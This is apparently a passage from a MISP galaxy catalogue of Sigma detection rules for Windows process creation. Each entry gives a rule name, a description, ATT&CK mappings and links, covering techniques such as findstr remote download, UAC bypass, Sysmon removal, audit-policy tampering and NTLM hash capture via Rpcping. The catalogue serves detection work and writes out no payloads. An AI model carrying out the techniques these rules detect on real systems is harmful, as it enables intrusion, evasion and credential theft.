https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_sysmon_discovery_via_default_altitude.yml

Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE

Detects execution of arbitrary DLLs or unsigned code via a ".csproj" files via Dotnet.EXE.

The tag is: *misp-galaxy:sigma-rules="Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE"*

View relationships graph

Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15915. Table References

Links
https://twitter.com/_felamos/status/1204705548668555264
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/
https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet_arbitrary_dll_csproj_execution.yml

Remote File Download Via Findstr.EXE

Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry.

The tag is: *misp-galaxy:sigma-rules="Remote File Download Via Findstr.EXE"*

View relationships graph

Remote File Download Via Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15916. Table References

Links

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://lolbas-project.github.io/lolbas/Binaries/Findstr/
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_download.yml

Suspicious Rundll32 Setupapi.dll Activity

setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.

The tag is: *misp-galaxy:sigma-rules="Suspicious Rundll32 Setupapi.dll Activity"*

View relationships graph

Suspicious Rundll32 Setupapi.dll Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15917. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Setupapi/
https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20
https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf
https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_setupapi_installhinfsection.yml

Potential Regsvr32 Commandline Flag Anomaly

Detects a potential command line flag anomaly related to "regsvr32" in which the "/i" flag is used without the "/n" which should be uncommon.

The tag is: *misp-galaxy:sigma-rules="Potential Regsvr32 Commandline Flag Anomaly"*

View relationships graph

Potential Regsvr32 Commandline Flag Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-

language:likelihood-probability="almost-certain"

Table 15918. Table References

Links
https://twitter.com/sbousseaden/status/1282441816986484737?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml

Remote CHM File Download/Execution Via HH.EXE

Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files.

The tag is: *misp-galaxy:sigma-rules="Remote CHM File Download/Execution Via HH.EXE"*

View relationships graph

Remote CHM File Download/Execution Via HH.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

Table 15919. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md
https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html
https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_remote_download_or_execution.yml

WSL Child Process Anomaly

Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL

The tag is: *misp-galaxy:sigma-rules="WSL Child Process Anomaly"*

View relationships graph

WSL Child Process Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15920. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/
https://twitter.com/nas_bench/status/1535431474429808642
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_child_processes_anomalies.yml

Potential Persistence Attempt Via Existing Service Tampering

Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Attempt Via Existing Service Tampering"*

View relationships graph

Potential Persistence Attempt Via Existing Service Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 15921. Table References

Links
https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_service_tamper_for_persistence.yml

Rundll32 Registered COM Objects

load malicious registered COM objects

The tag is: *misp-galaxy:sigma-rules="Rundll32 Registered COM Objects"*

View relationships graph

Rundll32 Registered COM Objects has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 15922. Table References

Links

https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml

Renamed ProcDump Execution

Detects the execution of a renamed ProcDump executable. This often done by attackers or malware in order to evade defensive mechanisms.

The tag is: *misp-galaxy:sigma-rules="Renamed ProcDump Execution"*

View relationships graph

Renamed ProcDump Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15923. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_procdump.yml

HH.EXE Execution

Detects the execution of "hh.exe" to open ".chm" files.

The tag is: *misp-galaxy:sigma-rules="HH.EXE Execution"*

View relationships graph

HH.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

Table 15924. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md
https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html
https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml

Sysmon Configuration Update

Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely

The tag is: *misp-galaxy:sigma-rules="Sysmon Configuration Update"*

View relationships graph

Sysmon Configuration Update has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15925. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_sysmon_config_update.yml

Audit Policy Tampering Via NT Resource Kit Auditpol

Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.

The tag is: *misp-galaxy:sigma-rules="Audit Policy Tampering Via NT Resource Kit Auditpol"*

View relationships graph

Audit Policy Tampering Via NT Resource Kit Auditpol has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 15926. Table References

Links
https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_nt_resource_kit_usage.yml

New Service Creation Using Sc.EXE

Detects the creation of a new service using the "sc.exe" utility.

The tag is: *misp-galaxy:sigma-rules="New Service Creation Using Sc.EXE"*

View relationships graph

New Service Creation Using Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15927. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_create_service.yml

Phishing Pattern ISO in Archive

Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)

The tag is: *misp-galaxy:sigma-rules="Phishing Pattern ISO in Archive"*

View relationships graph

Phishing Pattern ISO in Archive has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

Table 15928. Table References

Links
https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/
https://twitter.com/1ZRR4H/status/1534259727059787783
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_archiver_iso_phishing.yml

HackTool - PCHunter Execution

Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff

The tag is: *misp-galaxy:sigma-rules="HackTool - PCHunter Execution"*

View relationships graph

HackTool - PCHunter Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 15929. Table References

Links
https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/
https://web.archive.org/web/20231210115125/http://www.xuetr.com/
https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pchunter.yml

Windows Admin Share Mount Via Net.EXE

Detects when an admin share is mounted using net.exe

The tag is: *misp-galaxy:sigma-rules="Windows Admin Share Mount Via Net.EXE"*

View relationships graph

Windows Admin Share Mount Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 15930. Table References

Links
https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_admin_share.yml

Renamed AutoHotkey.EXE Execution

Detects execution of a renamed autohotkey.exe binary based on PE metadata fields

The tag is: *misp-galaxy:sigma-rules="Renamed AutoHotkey.EXE Execution"*

Table 15931. Table References

Links
https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/
https://www.autohotkey.com/download/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_autohotkey.yml

Uninstall Sysinternals Sysmon

Detects the removal of Sysmon, which could be a potential attempt at defense evasion

The tag is: *misp-galaxy:sigma-rules="Uninstall Sysinternals Sysmon"*

View relationships graph

Uninstall Sysinternals Sysmon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15932. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_sysmon_uninstall.yml

Windows Processes Suspicious Parent Directory

Detect suspicious parent processes of well-known Windows processes

The tag is: *misp-galaxy:sigma-rules="Windows Processes Suspicious Parent Directory"*

View relationships graph

Windows Processes Suspicious Parent Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 15933. Table References

Links
https://web.archive.org/web/20180718061628/https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2
https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf
https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_proc_wrong_parent.yml

Potential Binary Proxy Execution Via VSDiagnostics.EXE

Detects execution of "VSDiagnostics.exe" with the "start" command in order to launch and proxy arbitrary binaries.

The tag is: *misp-galaxy:sigma-rules="Potential Binary Proxy Execution Via VSDiagnostics.EXE"*

View relationships graph

Potential Binary Proxy Execution Via VSDiagnostics.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15934. Table References

Links
https://twitter.com/0xBoku/status/1679200664013135872
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vsdiagnostics_execution_proxy.yml

New Process Created Via Wmic.EXE

Detects new process creation using WMIC via the "process call create" flag

The tag is: *misp-galaxy:sigma-rules="New Process Created Via Wmic.EXE"*

View relationships graph

New Process Created Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"

with estimative-language:likelihood-probability="almost-certain"

Table 15935. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/84215139ee5127f8e3a117e063b604812bd71928/atomics/T1047/T1047.md#atomic-test-5---wmi-execute-local-process
https://www.sans.org/blog/wmic-for-incident-response/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_process_creation.yml

Potential Persistence Via Netsh Helper DLL

Detects the execution of netsh with "add helper" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Netsh Helper DLL"*

View relationships graph

Potential Persistence Via Netsh Helper DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"

Table 15936. Table References

Links
https://web.archive.org/web/20160928212230/https://www.adaptforward.com/2016/09/using-netshell-to-execute-evil-dlls-and-persist-on-a-host/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md
https://github.com/outflanknl/NetshHelperBeacon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_helper_dll_persistence.yml

Registry Manipulation via WMI Stdregprov

Detects the usage of wmic.exe to manipulate Windows registry via the WMI StdRegProv class. This behaviour could be potentially suspicious because it uses an alternative method to modify registry keys instead of legitimate registry tools like reg.exe or regedit.exe. Attackers specifically choose this technique to evade detection and bypass security monitoring focused on traditional registry modification commands.

The tag is: *misp-galaxy:sigma-rules="Registry Manipulation via WMI Stdregprov"*

View relationships graph

Registry Manipulation via WMI Stdregprov has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 15937. Table References

Links
https://trustedsec.com/blog/wmi-for-script-kiddies
https://trustedsec.com/blog/command-line-underdog-wmic-in-action
https://www.bitdefender.com/en-us/blog/businessinsights/shrinklocker-decryptor-from-friend-to-foe-and-back-again
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_stdregprov_reg_modification.yml

Suspicious Speech Runtime Binary Child Process

Detects suspicious Speech Runtime Binary Execution by monitoring its child processes. Child processes spawned by SpeechRuntime.exe could indicate an attempt for lateral movement via COM & DCOM hijacking.

The tag is: *misp-galaxy:sigma-rules="Suspicious Speech Runtime Binary Child Process"*

View relationships graph

Suspicious Speech Runtime Binary Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15938. Table References

Links
https://github.com/rtecCyberSec/SpeechRuntimeMove
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_speechruntime_child_process.yml

Suspicious Calculator Usage

Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion.

The tag is: *misp-galaxy:sigma-rules="Suspicious Calculator Usage"*

View relationships graph

Suspicious Calculator Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15939. Table References

Links
https://twitter.com/ItsReallyNick/status/1094080242686312448
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_calc_uncommon_exec.yml

UAC Bypass Using MSConfig Token Modification - Process

Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using MSConfig Token Modification - Process"*

View relationships graph

UAC Bypass Using MSConfig Token Modification - Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15940. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml

Suspicious Runscripthelper.exe

Detects execution of powershell scripts via Runscripthelper.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious Runscripthelper.exe"*

View relationships graph

Suspicious Runscripthelper.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15941. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runscripthelper.yml

PktMon.EXE Execution

Detects execution of PktMon, a tool that captures network packets.

The tag is: *misp-galaxy:sigma-rules="PktMon.EXE Execution"*

View relationships graph

PktMon.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 15942. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pktmon_execution.yml

Shell Process Spawned by Java.EXE

Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)

The tag is: *misp-galaxy:sigma-rules="Shell Process Spawned by Java.EXE"*

Table 15943. Table References

Links
https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process_2.yml

HackTool - Htran/NATBypass Execution

Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)

The tag is: *misp-galaxy:sigma-rules="HackTool - Htran/NATBypass Execution"*

View relationships graph

HackTool - Htran/NATBypass Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 15944. Table References

Links
https://github.com/cw1997/NATBypass
https://github.com/HiwinCN/HTran
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_htran_or_natbypass.yml

Arbitrary Shell Command Execution Via Settingcontent-Ms

The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.

The tag is: *misp-galaxy:sigma-rules="Arbitrary Shell Command Execution Via Settingcontent-Ms"*

View relationships graph

Arbitrary Shell Command Execution Via Settingcontent-Ms has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 15945. Table References

Links
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_arbitrary_shell_execution_via_settingcontent.yml

UAC Bypass Using DismHost

Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using DismHost"*

View relationships graph

UAC Bypass Using DismHost has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15946. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml

Capture Credentials with Rpcping.exe

Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.

The tag is: *misp-galaxy:sigma-rules="Capture Credentials with Rpcping.exe"*

View relationships graph

Capture Credentials with Rpcping.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 15947. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Rpcping/
https://twitter.com/vysecurity/status/974806438316072960
https://twitter.com/vysecurity/status/873181705024266241
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml

Suspicious New Service Creation

Detects creation of a new service via "sc" command or the powershell "new-service" cmdlet with suspicious binary paths

The tag is: *misp-galaxy:sigma-rules="Suspicious New Service Creation"*

View relationships graph

Suspicious New Service Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15948. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_creation.yml

PowerShell Base64 Encoded IEX Cmdlet

Detects usage of a base64 encoded "IEX" cmdlet in a process command line

The tag is: *misp-galaxy:sigma-rules="PowerShell Base64 Encoded IEX Cmdlet"*

View relationships graph

PowerShell Base64 Encoded IEX Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15949. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_iex.yml

Suspicious PowerShell Parent Process

Detects a suspicious or uncommon parent processes of PowerShell

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Parent Process"*

View relationships graph

Suspicious PowerShell Parent Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15950. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parent_process.yml

Privilege Escalation via Named Pipe Impersonation

Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.

The tag is: *misp-galaxy:sigma-rules="Privilege Escalation via Named Pipe Impersonation"*

View relationships graph

Privilege Escalation via Named Pipe Impersonation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 15951. Table References

Links
https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_priv_escalation_via_named_pipe.yml

Deny Service Access Using Security Descriptor Tampering Via Sc.EXE

Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable.

The tag is: *misp-galaxy:sigma-rules="Deny Service Access Using Security Descriptor Tampering Via Sc.EXE"*

View relationships graph

Deny Service Access Using Security Descriptor Tampering Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15952. Table References

Links
https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings
https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_deny_service_access.yml

Use of W32tm as Timer

When configured with suitable command line arguments, w32tm can act as a delay mechanism

The tag is: *misp-galaxy:sigma-rules="Use of W32tm as Timer"*

View relationships graph

Use of W32tm as Timer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 15953. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md
https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml

Windows Share Mount Via Net.EXE

Detects when a share is mounted using the "net.exe" utility

The tag is: *misp-galaxy:sigma-rules="Windows Share Mount Via Net.EXE"*

View relationships graph

Windows Share Mount Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 15954. Table References

Links
https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_share.yml

Potentially Suspicious Rundll32.EXE Execution of UDL File

Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Rundll32.EXE Execution of UDL File"*

View relationships graph

Potentially Suspicious Rundll32.EXE Execution of UDL File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 15955. Table References

Links
https://trustedsec.com/blog/oops-i-udld-it-again
